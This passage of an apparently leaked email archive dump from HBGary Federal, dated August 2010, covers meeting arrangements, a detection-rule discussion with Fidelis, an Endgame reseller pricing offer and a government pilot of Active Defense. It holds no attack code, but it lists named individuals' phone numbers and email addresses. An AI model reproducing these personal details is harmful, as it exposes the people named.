http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=bjZtYXUwdHRmdmZsMmRxcmY1dm84YmNhODAgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTYjbWFyaWFAaGJnYXJ5LmNvbTYwZjkyYjhjNGQzYmM3NDg3NTk0YjVmZjM3ODM5NTY1MzljN2FkMTQ&amp;ctz=America%2FNew_York&amp;hl=en.WhenTue Aug 3 4:30pm – 5:30pm Eastern TimeWhereCall-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 573 630 045  (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Rich CummingsGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',10604,'aaron_hbgary_com/10604.html'),(9566,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007354.M717185P14101Q4421.eml','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','Re: Discussion','It will be over in bobs bldg on the 10th floor.  That would be great if we could meet over there.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 1:36 PM, \"Guy, Jeffrey J\"  wrote:\r\n\r\n> 1:30 works.  Are you meeting with bob at 7799 Leesburg Pike?  I\'m across\r\n> the street, but can come over -- need to interface with folks there\r\n> anyway.\r\n> \r\n> JJ\r\n> \r\n> -----Original Message-----\r\n> From: Aaron barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 12:50 PM\r\n> To: Guy, Jeffrey J\r\n> Subject: Re: Discussion\r\n> \r\n> We are meeting at 230.  In case we go over do you want to meet before?\r\n> Say 130?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 3, 2010, at 12:14 PM, \"Guy, Jeffrey J\" \r\n> wrote:\r\n> \r\n>> Yessir.  what time are you meeting with bob?  We can block out time\r\n>> before/after to save the travel time.   JJ\r\n>> \r\n>> -----Original Message-----\r\n>> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, August 03, 2010 12:03 PM\r\n>> To: Guy, Jeffrey J\r\n>> Subject: Discussion\r\n>> \r\n>> Hey JJ\r\n>> \r\n>> Any availability to meet this week?  I am meeting with Bob on\r\n> thursday.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n',6005,'aaron_hbgary_com/6005.html'),(9567,'2010-08-03','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007355.M25821P14101Q4422.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','I may float it to my boss (vp sales) and let him bring it up at a mgmnt\r\nmeeting. \r\n\r\nMary Sullivan\r\nD 240-396-2446\r\nM 301-980-1308\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 4:18 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: Fidelis Discussion\r\n\r\nRgr.  Knowing what to write is always the hard part.  And it will be\r\ndifficult i think to find someone that knows how to write the rules to\r\ncome in and do that as their job.  What do they do after that?  Are u\r\ngoing to be able ti get the right person.  Ok i will leave it for now.\r\nI agree it\'s a good idea.\r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 3:47 PM, \"Sullivan, Mary\"\r\n wrote:\r\n\r\n> Aaron,\r\n> If the rules are so easy, why haven\'t they written them yet? ;-) and\r\nwhy\r\n> are they considering hiring someone to do it if it\'s so\r\n> easy---frustrating. Our engine is easy, the policy is hard. We know\r\nhow\r\n> to write, but not what.\r\n> And the feeds are nice but the customers who were asking for policy\r\n> already had them enabled and weren\'t satisfied with those.\r\n> Just leave it from here on out, I\'d say--for whatever reason they\'re\r\n> being stubborn. Beats the heck out of me. You\'ve put it on the table,\r\n> wait for them to call.\r\n> I\'ll keep you posted with what I hear. I still think it was a\r\nbrilliant\r\n> idea and I can\'t believe they don\'t too. \r\n> \r\n> Mary Sullivan\r\n> D 240-396-2446\r\n> M 301-980-1308\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 3:21 PM\r\n> To: Mancini, Jerry\r\n> Subject: Re: Fidelis Discussion\r\n> \r\n> Jerry,\r\n> \r\n> I agree i don\'t think building the rules is technically the hard part,\r\n> it\'s just taking the time to do it.  I think once they are built there\r\n> will be a lot of benefit and interest.  It\'s a different model than\r\nsome\r\n> are used to so somewhat chicken and egg.  If they are built and it\'s\r\n> demoable then people will buy it, just talking about it people are\r\n> interested but I am having a harder time really getting their interest\r\n> past that at the moment without something more tangible.  Slower\r\nmoving\r\n> forward than i would like but it is what it is.  I am just impatient\r\n> because i see the value.\r\n> \r\n> I like the feed model.  We are reselling services from end games very\r\n> similar.  We to could use either.  It would be neat to compare some\r\n> time.\r\n> \r\n> Aaron  \r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 3, 2010, at 1:28 PM, \"Mancini, Jerry\"\r\n>  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> In my (obviously biased) opinion, rule creation in Fidelis XPS is\r\nvery\r\n>> easy. If you can transfer the knowledge, we can build the rules\r\n> without\r\n>> much effort. I agree that automation can come later - but that won\'t\r\n> be\r\n>> too hard either given our API into our rule creation engine.\r\n>> \r\n>> Regarding the suspicious/malicious sources, we just released our Feed\r\n>> Manager feature with version 6.2 in July. The feed manager will\r\naccept\r\n> a\r\n>> feed of such sources of information. We have a partnership with\r\n>> Cyveillance where we can accept their information from a customer\r\nwith\r\n> a\r\n>> paid subscription. We can also take feeds from any other source\r\n> provided\r\n>> the customer has access to it.\r\n>> \r\n>> Jerry\r\n>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, August 03, 2010 11:58 AM\r\n>>> To: Mancini, Jerry\r\n>>> Subject: Re: Fidelis Discussion\r\n>>> \r\n>>> Hi Jerry,\r\n>>> \r\n>>> Sure.  We do a decent amount of incident response work so we have on\r\n>>> the ground knowledge of the threat space, and there are a default\r\nset\r\n>>> of rules that would be helpful to build to take some action.\r\n>>> Attachments with certain characteristics.  IP traffic from\r\nsuspicious\r\n>>> or known malicious sources.  Suspicious traffic patterns or traffic\r\n>>> content.  This would be based on our knowledge of the threat space.\r\n> I\r\n>>> strongly believe eventually we can automate some of the rules\r\n>>> generation based on other source collection, whether that be through\r\n>>> HBG Active Defense or other source but we can manually generate\r\nthose\r\n>>> to start.  We can build those rules just don\'t have the budget to do\r\n>> so\r\n>>> at the moment.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPad\r\n>>> \r\n>>> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n>>>  wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> \r\n>>>> I\'m away on vacation this week - due back next Monday.\r\n>>>> \r\n>>>> I\'d like to know the details behind the missing rules and see what\r\n>> we\r\n>>>> can do. When you say \"developing a set of default rules\" - can you\r\n>>>> elaborate?\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Jerry\r\n>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, August 02, 2010 2:25 PM\r\n>>>>> To: Mancini, Jerry\r\n>>>>> Subject: Fidelis Discussion\r\n>>>>> \r\n>>>>> Hi Jerry,\r\n>>>>> \r\n>>>>> Just getting back from Vegas and processing a lot of good contacts\r\n>>> and\r\n>>>>> feedback.\r\n>>>>> \r\n>>>>> Lots of general interest related to Fidelis and HBGary\r\nintegration.\r\n>>>>> Lots of interest on Fidelis use being able to do session\r\n>>>> reconstruction\r\n>>>>> and some analysis.  But the lack of base and generated rules tend\r\n>> to\r\n>>>>> put the box right back into the strict DLP rather than the larger\r\n>>>>> perimeter defense category.  I had a brief conversation with Mary\r\n>>> out\r\n>>>>> there on this.  Is there any internal momentum or interest in\r\n>>>>> developing a set of default rules?  Our plan is to eventually work\r\n>>> on\r\n>>>>> what it might look like to generate rules using Active Defense\r\n>> hashs\r\n>>>>> but we haven\'t got their yet, just don\'t have the manpower right\r\n>> now\r\n>>>> to\r\n>>>>> do it.  We know its very possible and are pitching the combined\r\n>>>>> capability as an offering, its just slow.\r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>> \r\n',3452,'aaron_hbgary_com/3452.html'),(9568,'2010-08-03','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007355.M614535P14101Q4423.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary mal code detection','\r\n\r\n\r\n\r\n\r\nHBGary mal code detection \r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nWas talking to Dave about your products and wanted to know if there was a demo on the internet he could see on your mal code detection.\r\n\r\nSteve \r\n\r\n\r\n',12143,'aaron_hbgary_com/12143.html'),(9569,'2010-08-03','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007355.M882800P14101Q4424.eml','\"Aaron Barr\" <aaron@hbgary.com>','CYBERCOM - Federal Business Opportunities: Opportunities','Aaron,\r\n\r\nYou might take a look at the attached SOW as it might be something we want to at least explore. There\'s no information on TPV but the vendor briefing is at Bolling AFB in DC this Friday the 6th (I don\'t yet have a time). Just a thought as a way to break into Cyber Command as a small business set aside. \r\n\r\nHad a nice email exchange with Mary Sullivan today so we\'ll need to firm up that relationship on TSA.\r\n\r\nI think John is trying to host a TSA kick-off meeting tomorrow morning at 9:30am here in our office (first floor)but the time could change. Let me know if he keeps you posted.\r\n\r\nBill\r\n\r\n\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=5aa0b9303813337bfb3a9674affb2e5d&tab=core&_cview=1\r\n',1298,'aaron_hbgary_com/1298.html'),(9570,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007356.M179763P14101Q4425.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: CYBERCOM - Federal Business Opportunities: Opportunities','Begin forwarded message:From: William Luti &lt;wluti@digitalmanagement.com&gt;Date: August 3, 2010 4:59:04 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: CYBERCOM - Federal Business Opportunities: OpportunitiesAaron,You might take a look at the attached SOW as it might be something we want to at least explore. There\'s no information on TPV but the vendor briefing is at Bolling AFB in DC this Friday the 6th (I don\'t yet have a time). Just a thought as a way to break into Cyber Command as a small business set aside. Had a nice email exchange with Mary Sullivan today so we\'ll need to firm up that relationship on TSA.I think John is trying to host a TSA kick-off meeting tomorrow morning at 9:30am here in our office (first floor)but the time could change. Let me know if he keeps you posted.Billhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=5aa0b9303813337bfb3a9674affb2e5d&amp;tab=core&amp;_cview=1\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4158,'aaron_hbgary_com/4158.html'),(9571,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007356.M586524P14101Q4426.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','update on EOP','We completed a preliminary PILOT Discussion with Brian Christos and his Branch Chief Kenneth Bailey.\r\n \r\nIn the next 2 days they will give us their availability for a POC/Pilot\r\n \r\nPOC/Pilot Duration\r\n2 weeks\r\n2 days onsite to install, train &amp; read preliminary results\r\nadditional support as required\r\n \r\nHardware\r\nEOP will provide hardware\r\nAaron is sending hardware specifications\r\n \r\nNumber of Systems\r\nThey will let us know, but the goal is to find something so there is flexibility\r\n \r\nCriteria for Success\r\nIf we find a threat that they do not already know about \r\nCompability with WMI (so that SOC can control)\r\n-- they will provide additional criteria possiby but this may be it\r\n \r\nWhat Will Success Mean\r\nBrian told me earlier that success means that his department will make a recommendation to purchase Active Defense but he cannot make commitments about timelines and budgets\r\n \r\n \r\n \r\n \r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16768,'aaron_hbgary_com/16768.html'),(9572,'2010-08-03','ted@hbgary.com','/aaron@hbgary.com/new/1297007376.M749177P14101Q4427.eml','aaron@hbgary.com','Active Defense 1.0 User Guide.pdf','\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nMessage from ted@hbgary.com:\r\nUser manual\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',4808,'aaron_hbgary_com/4808.html'),(9573,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007377.M965542P14101Q4428.eml','\"Barr Aaron\" <aaron@hbgary.com>','AD','ActiveDefense Installation Prerequisites The hardware and software requirements and configurations required to successfully install and use\r\n\r\nActiveDefense are covered in this section.\r\nMinimum Hardware Requirements\r\nThe ActiveDefense product is installed on a server, which may or may not contain storage for a database. The ActiveDefense server is a computer running the ActiveDefense software package, which provides the user interface and remote node management features.\r\n\r\nThe ActiveDefense server must meet the following minimum hardware requirements:\r\n?	System Administrator access for installing applications\r\n\r\n?	Microsoft WindowsTM Server 2000 (with Service Pack 4+), Microsoft WindowsTM XP (with Service Pack 2+), Microsoft WindowsTM 2003/2008/Vista, Microsoft WindowsTM 7 32- and 64-bit\r\n\r\n?	Minimum 512MB of RAM (The minimum amount of RAM recommended for your specific operating system is sufficient for the ActiveDefense Server. For example, Windows Server 2008 recommends 2GB of RAM for the OS.)\r\n\r\n?	Minimum 10MB of available hard disk drive space for the ActiveDefense server management application\r\n\r\n?	Minimum 20GB of hard disk drive space recommended for the ActiveDefense database Prerequisite Software\r\n\r\nPrerequisite software packages required for installation are automatically installed by ActiveDefense if they are not detected on the client computer.\r\n\r\nThe following is a list of prerequisite packages located on the HBGary ActiveDefense CD: ?	Microsoft .NET framework version 3.5 ?	Microsoft SQL Express 2005 (installed if a database is not previously installed or available)\r\n\r\nPlease verify all hardware prerequisites for installation are\r\nmet before attempting to install software.\r\nImportant!\r\nImportant\r\n!\r\nSome prerequisite packages might require a restart of the\r\nsetup.exe process to continue installation.\r\nImportant\r\n!\r\nThe ActiveDefense server must have internet access to\r\nsuccessfully complete the software installation.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3146,'aaron_hbgary_com/3146.html'),(9574,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007378.M162102P14101Q4429.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Pricing Proposal','---------- Forwarded message ----------From: David Gerulski &lt;dgerulski@endgames.us&gt;\r\nDate: Tue, Aug 3, 2010 at 3:24 PMSubject: Pricing ProposalTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nTed,Your customer has 70,356 IP addresses.  At $18,000 a year, that\r\nis $.26 per IP per year. Another way of looking at it is 70,356 queries times\r\n365 days totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths of a penny per query.  I am interested in building market\r\nshare, and understand Maria&#39;s position on pricing, but we cannot go that low.We need to get pricing on this deal to a bare minimum of\r\n$.001/query (one tenth of one penny per query). Considering your customers\r\nnumber of IP addresses that would be a deal size of $25,679.94.  For this\r\nfirst customer, I would be willing to go $1,995/ month or $23,940. (Please note\r\nthat $.001/query is NOT our long-term price goal. It is floor we will build\r\nfrom.)We are making vast improvements to our notification service. In less\r\nthan a month&#39;s time, it will include a customer portal complete with daily,\r\nweekly, monthly and industry comparison reports. However, today, the customer\r\nwill receive a simple email notification.Other points we need to address before closing the current customer\r\nis a putting together a reseller agreement that sets your discount, payment\r\nmethods, and ability to run additional queries at a vastly reduced price. The\r\nfollowing is my proposal for the agreement.Starting with you ability to run queries; during the Beta period\r\nHBGary ran approximately 1.7 million IP addresses through our API. The good\r\nnews, it looks as if your queries may result in quite a bit of business. The\r\nbad news is, we can&#39;t afford to run queries free of charge.  Endgame is\r\nwilling to set your price per query to $.001 (one-tenth of a penny) for the\r\nremainder of the calendar year. Had we charged for your queries during the Beta\r\nperiod, this would have resulted in a very reasonable bill of $1,700 for the\r\n1.7M addresses.Endgame is offering HBGary twenty-five (25) points on sales. This\r\nfirst sale of $23,940 will result in $5,985 margin to you. As part of your\r\nreseller agreement, we are willing to credit per query charges against margin.This reseller agreement will be a &quot;White Label&quot; HBGary\r\nservice. Your branding will be dominant on notification email and the customer\r\nportal. Some type of additional &quot;powered by&quot; branding will include\r\nour brand, ipTrust.Please review this proposal and let&#39;s schedule a call for tomorrow\r\nat your convenience.Sincerely, \r\nDave\r\n\r\n\r\n\r\n\r\n\r\nDavid GerulskiVP Commercial Sales &amp; Marketingdgerulski@endgames.us\r\n770.906.3283\r\n\r\nOn Aug 3, 2010, at 9:52 AM, David Gerulski wrote:Ted,Thank you for your email.  I am working on the logistics of the offer, a reseller agreement, and the process for which HBGary can run queries to find additional customers. \r\nI will have an answer back to you before the end of day.DaveDavid GerulskiVP Commercial Sales &amp; Marketingdgerulski@endgames.us\r\n770.906.3283On Aug 2, 2010, at 7:51 PM, Ted Vera wrote:Hi David,Maria got back with me.  She thinks $5,000 per month is initiallyhigh.  She recommends the following:&quot;What I would do is say we are &quot;piloting&quot; a new service.  For the\r\nfirst 5 customers who sign up for 1 year the cost is a pre-paid$18,000 and significantly below what we will be charging.  In returnfor the low price we are asking customers to be a reference for HBGaryand for the Service.  I imagine that XXX will buy it... maybe XXX,\r\nXXX, XXX and it will be easy enough to find a 5th. Depending onresults we should be able to charge $5,000 per month but it is easierif we already have some customers...  and after a few months we canask the 5 what they think the &quot;value&quot; is.&quot;\r\nPersonally, I like this approach.  What do you think?Ted-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',2633,'aaron_hbgary_com/2633.html'),(9575,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007405.M857376P14101Q4430.eml','gerry.barsczewski@ssa.gov','Social Media','Hi Gerry,\r\n\r\nIt was good to talk with you at Blackhat.  Attached are 2 datasheets on our services offerings and a social media presentation I gave at NSA.  Let me know if you would like to discuss further.\r\n\r\n',4289,'aaron_hbgary_com/4289.html'),(9576,'2010-08-03','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297007408.M993987P14101Q4431.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     gerry.barsczewski@ssa.gov\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 552 552 5.2.3 Message exceeds maximum fixed size (10000000) (state 18).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.151.63.32 with SMTP id q32mr9050901ybk.285.1280871101723;\r\n        Tue, 03 Aug 2010 14:31:41 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [10.0.1.2] (ip98-169-65-80.dc.dc.cox.net [98.169.65.80])\r\n        by mx.google.com with ESMTPS id q21sm76278ybk.15.2010.08.03.14.30.23\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Tue, 03 Aug 2010 14:31:16 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-84--231373916; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Social Media\r\nDate: Tue, 3 Aug 2010 17:30:19 -0400\r\nMessage-Id: \r\nTo: gerry.barsczewski@ssa.gov\r\nMime-Version: 1.0 (Apple Message framework v1081)\r\nX-Mailer: Apple Mail (2.1081)\r\n\r\nHi Gerry,\r\n\r\nIt was good to talk with you at Blackhat.  Attached are 2 datasheets on our services offerings and a social media presentation I gave at NSA.  Let me know if you would like to discuss further.\r\n\r\n',8878,'aaron_hbgary_com/8878.html'),(9577,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007428.M992228P14101Q4432.eml','brian_christos@yahoo.com,brian_christos@yahoo.com','User Manual','Hey Brian,\r\n\r\nI thought the user manual ahead of time might be helpful.\r\n\r\n\r\nSystem Administrator access for installing applications\r\nMicrosoft Server 2000 (with Service Pack 4+), Microsoft XP (with Service Pack 2+), Microsoft 7 32- and 64-bit\r\nMinimum 512MB of RAM (The minimum amount of RAM recommended for your specific operating system is sufficient for the ActiveDefense Server. For example, Windows Server 2008 recommends 2GB of RAM for the OS.)\r\nMinimum 10MB of available hard disk drive space for the ActiveDefense server management application\r\nMinimum 20GB of hard disk drive space recommended for the ActiveDefense database\r\n\r\n\r\n\r\nLet me know if you have any other questions.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6273,'aaron_hbgary_com/6273.html'),(9578,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007431.M874959P14101Q4433.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: update on EOP','Brian is a contractor and has a limited budget.  There are pockets of money that go through the end of the calendar year for many agencies-- Resolution Monies.... Aaron, is this a conversation you can have offline with Brian?  Penny I am trying to keep low profile with Brian -- he already chewed me out once for speaking with his Project Manager.  What he told me when I asked this question is that this is not a budgeted item and that the EOP is very careful how they spend money because of the scrutiny they get.  He never directly answered the question.  I don&#39;t think he has authority to answer.  Dale confirmed that Brian would not have authority.\r\n\r\n \r\nKenneth Bailey is a better person to ask but Brian would not like it if I had brought this up today.  It was not on the agenda.  However, when Brian calls back this week I will ask him if Kenneth would be responsible for approving an Active Defense purchase and if we can schedule that meeting.\r\n\r\n \r\nAaron, what do you think?\r\n \r\nMaria\r\nOn Tue, Aug 3, 2010 at 2:25 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nIs there a possibility for this year?  What if malware is bad?  Please make sure Aaron is involved.  He knows Brian\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Tuesday, August 03, 2010 2:21 PM\r\nTo: Rich CummingsCc: Joe Pizzo; Aaron Barr; Penny C. HoglundSubject: update on EOP\r\n\r\n\r\n\r\n \r\n\r\nWe completed a preliminary PILOT Discussion with Brian Christos and his Branch Chief Kenneth Bailey.\r\n\r\n \r\n\r\nIn the next 2 days they will give us their availability for a POC/Pilot\r\n\r\n \r\n\r\nPOC/Pilot Duration\r\n\r\n2 weeks\r\n\r\n2 days onsite to install, train &amp; read preliminary results\r\n\r\nadditional support as required\r\n\r\n \r\n\r\nHardware\r\n\r\nEOP will provide hardware\r\n\r\nAaron is sending hardware specifications\r\n\r\n \r\n\r\nNumber of Systems\r\n\r\nThey will let us know, but the goal is to find something so there is flexibility\r\n\r\n \r\n\r\nCriteria for Success\r\n\r\nIf we find a threat that they do not already know about \r\n\r\nCompability with WMI (so that SOC can control)\r\n\r\n-- they will provide additional criteria possiby but this may be it\r\n\r\n \r\n\r\nWhat Will Success Mean\r\n\r\nBrian told me earlier that success means that his department will make a recommendation to purchase Active Defense but he cannot make commitments about timelines and budgets\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',15422,'aaron_hbgary_com/15422.html'),(9579,'2010-08-03','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','/aaron@hbgary.com/new/1297007434.M532447P14101Q4434.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: Discussion','Rog.  Let\'s sync up at 1:30 at the receptionist on the 7th floor.  In case something comes up or for tactical coordination, my cell is 703-635-6408.\r\n\r\nJJ\r\n\r\nOn Aug 3, 2010, at 4:20 PM, Aaron barr  wrote:\r\n\r\n> It will be over in bobs bldg on the 10th floor.  That would be great if we could meet over there.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 3, 2010, at 1:36 PM, \"Guy, Jeffrey J\"  wrote:\r\n> \r\n>> 1:30 works.  Are you meeting with bob at 7799 Leesburg Pike?  I\'m across\r\n>> the street, but can come over -- need to interface with folks there\r\n>> anyway.\r\n>> \r\n>> JJ\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, August 03, 2010 12:50 PM\r\n>> To: Guy, Jeffrey J\r\n>> Subject: Re: Discussion\r\n>> \r\n>> We are meeting at 230.  In case we go over do you want to meet before?\r\n>> Say 130?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Aug 3, 2010, at 12:14 PM, \"Guy, Jeffrey J\" \r\n>> wrote:\r\n>> \r\n>>> Yessir.  what time are you meeting with bob?  We can block out time\r\n>>> before/after to save the travel time.   JJ\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n>>> Sent: Tuesday, August 03, 2010 12:03 PM\r\n>>> To: Guy, Jeffrey J\r\n>>> Subject: Discussion\r\n>>> \r\n>>> Hey JJ\r\n>>> \r\n>>> Any availability to meet this week?  I am meeting with Bob on\r\n>> thursday.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPad\r\n',13512,'aaron_hbgary_com/13512.html'),(9580,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007452.M1194P14101Q4435.eml','gerry.barsczewski@ssa.gov','Follow Up','',16033,'aaron_hbgary_com/16033.html'),(9581,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007472.M169652P14101Q4436.eml','gerry.barsczewski@ssa.gov','Social Media Presentation','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15777,'aaron_hbgary_com/15777.html'),(9582,'2010-08-03','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297007476.M51112P14101Q4437.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     gerry.barsczewski@ssa.gov\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 552 552 5.2.3 Message exceeds maximum fixed size (10000000) (state 18).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.100.144.16 with SMTP id r16mr8921732and.170.1280872461890;\r\n        Tue, 03 Aug 2010 14:54:21 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [10.0.1.2] (ip98-169-65-80.dc.dc.cox.net [98.169.65.80])\r\n        by mx.google.com with ESMTPS id q7sm12449519anf.26.2010.08.03.14.53.36\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Tue, 03 Aug 2010 14:54:03 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-101--229979070; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Social Media Presentation\r\nDate: Tue, 3 Aug 2010 17:53:34 -0400\r\nMessage-Id: \r\nTo: gerry.barsczewski@ssa.gov\r\nMime-Version: 1.0 (Apple Message framework v1081)\r\nX-Mailer: Apple Mail (2.1081)\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9254,'aaron_hbgary_com/9254.html'),(9583,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007485.M954009P14101Q4438.eml','james.bray@us.army.mil','Follow Up','Hi James,\r\n\r\nIt was good to talk with you at Blackhat.  Attached are 2 datasheets on our services offerings.  I will send the social media presentation in a separate email as its quite large.  Let me know if you would like to discuss further.\r\n\r\n',6454,'aaron_hbgary_com/6454.html'),(9584,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007486.M980952P14101Q4439.eml','gerry.barsczewski@ssa.gov','Social Media Presentation','Gerry,\r\n\r\nI can\'t seem to get the presentation to you...its too big.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13526,'aaron_hbgary_com/13526.html'),(9585,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007503.M354682P14101Q4440.eml','james.bray@us.army.mil','Social Media Presentation','James,\r\n\r\nI last 